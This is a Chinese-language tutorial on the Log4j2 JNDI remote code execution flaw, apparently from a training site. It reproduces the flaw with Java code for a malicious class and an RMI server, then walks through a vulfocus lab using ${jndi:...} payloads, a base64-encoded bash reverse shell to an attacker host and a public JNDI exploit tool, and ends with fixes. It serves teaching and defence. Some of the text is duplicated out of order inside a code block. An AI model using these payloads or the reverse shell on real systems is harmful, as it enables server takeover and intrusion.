Apache log4j2-RCE 漏洞
Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。 2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行漏洞,从而获得目标服务器权限。 漏洞适用版本:2.0 <= Apache log4j2 <= 2.14.1
1.漏洞简介
Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行漏洞,从而获得目标服务器权限。
漏洞适用版本:2.0 <= Apache log4j2 <= 2.14.1
2.漏洞原理
2.1 原理概述
Apache log4j2-RCE 漏洞是由于Log4j2提供的lookup功能下的Jndi Lookup模块出现问题所导致的,该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。而开发人员在处理数据时,并没有对用户输入的信息进行判断,导致Log4j2请求远程主机上的含有恶意代码的资源并执行其中的代码,从而造成远程代码执行漏洞。
2.2 JNDI
开发人员一般会使用log4j2在日志中输出一些变量,log4j2 除了可以输出程序中的变量,它还提供了多种lookup功能插件,可以用来查找更多数据用于输出。lookup在log4j2中,就是允许在输出日志的时候,通过多种方式去查找要输出的内容,其中就可以使用Jndi Lookup 。
JNDI(Java Naming and Directory Interface,JAVA命名和目录接口):它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。JNDI下面有很多目录接口,用于不同的数据源的查找引用。
JNDI可以使用相应目录接口请求普通数据,还可以请求Java对象。而且JNDI支持以命名引用(Naming References)的方式去远程下载一个class文件,然后加载该class文件并构建对象。若下载的是攻击者构建的含有恶意代码的class文件,则会在加载时执行恶意代码。
在这些目录接口中我们可以使用LDAP或RMI去下载远程主机上的class文件。
LDAP(轻型目录访问协议):是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。
RMI(远程方法调用):它是一种机制,能够让在某个java虚拟机上的对象调用另一个Java虚拟机的对象的方法。
2.3 触发过程
log4j2 远程代码执行漏洞大致过程(此处使用RMI,LDAP同理):
假设有一个Java程序,将用户名信息到了日志中。如下
1.攻击者发送一个HTTP请求,其用户名为 ${jndi:rmi://rmi服务器地址/Exploit}
2.被攻击服务器发现要输出的信息中有 ${},则其中的内容要单独处理,进一步解析是JNDI扩展内容且使用的是RMI,而后根据RMI服务器地址去请求Exploit。
3.RMI服务器返回Reference对象(用于告诉请求端所请求对象所在的类),而该Reference指定了远端文件下载服务器上含有恶意代码的class文件。
4.被攻击服务器通过Reference对象去请求文件下载服务器上的class文件。
5.被攻击服务器下载恶意class文件并执行其中的恶意代码。
3.漏洞复现
3.1 实验环境
本次实验在Windows环境下使用IDEA编写相应java程序来进行Apache log4j2 远程代码执行漏洞的模拟。
jdk1.8.0_181
Apache log4j2 2.14.1
3.2 实验过程
创建一个Maven项目,在pom.xml文件中引入log4j依赖,指定版本为2.14.1。
org.apache.logging.log4j
log4j-api
2.14.1
org.apache.logging.log4j
log4j-core
2.14.1
模拟黑客服务器:
1.创建EvilObj类,执行Windows命令打开计算器。
public class EvilObj {
static {
System.out.println("执行恶意代码!");
try {
// 执行命令打开计算器
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
2.创建RMIServer类,用于开启RMI服务。
public class RMIServer {
public static void main(String[] args) {
try {
// 启动rmi服务,端口为1099
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
// 创建资源,指定资源为本机rmi目录下的EvilObj类
Reference reference = new Reference("rmi.EvilObj", "rmi.EvilObj",
null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 绑定资源,用于客户机访问对应资源
registry.bind("evil", referenceWrapper);
System.out.println("RMI服务初始化完成");
} catch (Exception e) {
模拟受害主机:
1.创建HackedServer类,模拟攻击者发送信息,受害服务器将对应信息作为error级别日志输出。
攻击过程模拟:
1.运行RMIServer,启动RMI服务。
2.运行HackedServer,模拟攻击者攻击受害主机,攻击成功,执行代码打开了计算器。
e.printStackTrace();
}
}
}
模拟受害主机:
1.创建HackedServer类,模拟攻击者发送信息,受害服务器将对应信息作为error级别日志输出。
public class HackedServer {
// 创建日志记录器
private static final Logger logger = LogManager.getLogger();
public static void main(String... args) {
System.out.println("被攻击服务器");
// 模拟攻击者发送请求中的username字段,指向攻击者服务器上的恶意class
String username = "${jndi:rmi://192.168.200.95/evil}";
// 输出错误日志信息
logger.error("errorinfo:{}!",username);
}
}
攻击过程模拟:
1.运行RMIServer,启动RMI服务。
2.运行HackedServer,模拟攻击者攻击受害主机,攻击成功,执行代码打开了计算器。
4.靶场模拟
4.1 实验环境
被攻击服务器
主机:CentOS7
靶场环境:vulfocus/log4j2-rce-2021-12-09
攻击者
主机:kali
JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
4.2 实验过程
安装docker
(1)安装docker所需工具:yum install -y yum-utils device-mapper-persistent-data lvm2
(2)添加yum镜像:yum-config-manager --add-repo
http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
(3)更新yum缓存:yum makecache fast
(4)下载安装docker:yum install docker-ce
(5)启动docker:systemctl start docker
(6)配置Docker的国内镜像:vi /etc/docker/daemon.json
{
"registry-mirrors": [
"https://registry.docker-cn.com",
"http://hub-mirror.c.163.com",
"https://docker.mirrors.ustc.edu.cn"
]
}
(7)保存并重启docker:systemctl restart docker
2.使用docker部署log4j2 漏洞靶场
(1)拉取log4j2 漏洞的靶场镜像:docker pull vulfocus/log4j2-rce-2021-12-09
(2)创建容器并运行:docker run -tid -p 8080:8080
vulfocus/log4j2-rce-2021-12-09
(3)开启8080端口,访问web服务
3.使用DNSLog进行测试
(1)前往http://www.dnslog.cn/,申请子域名进行测试。
(2)在web主页面中点击 ????? ,
url地址变为
http://192.168.219.166:8080/hello?payload=111,更改payload为
${jndi:ldap://test.f2l309.dnslog.cn},并将payload进行url编码。
访问成功后,查看DNSLog的DNS查询记录,出现payload中的字段说明测试成功。
4.利用JNDI注入反弹shell
(1)准备反弹shell,并将此命令进行base64编码,
bash -i >& /dev/tcp/攻击主机IP/端口 0>&1
(2)使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用,将上述base64编码结果填入指定位置,指定kali的IP,启动服务。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编
码后的shell}|{base64,-d}|{bash,-i}" -A 攻击主机IP
(3)使用nc监听5555端口
(4)更改payload为
${jndi:rmi://192.168.219.134:1099/hogsdg},并访问在kali上开启的RMI服务。
(5)成功接收到反弹shell。
5.修复方案
升级log4j2到最新版本,修复后的log4j2在Jndi Lookup中增加了一些限制。
1. 默认不再支持命名引用的方式获取对象。
2. 限制JNDI默认可以使用的协议。默认情况下,JNDI 只支持 java、ldap 和 ldaps 协议。
3. 限制可以通过LDAP访问的服务器和类。
登录
前往注册账号注册
注册成功,默认密码已通过短信发送给您
欢迎来到蜗牛学苑~
我们仍旧想要当初想要的不一样,世间浮沉,到最后还是想要和当初想要的和别人不一样。
3小时前 2人点赞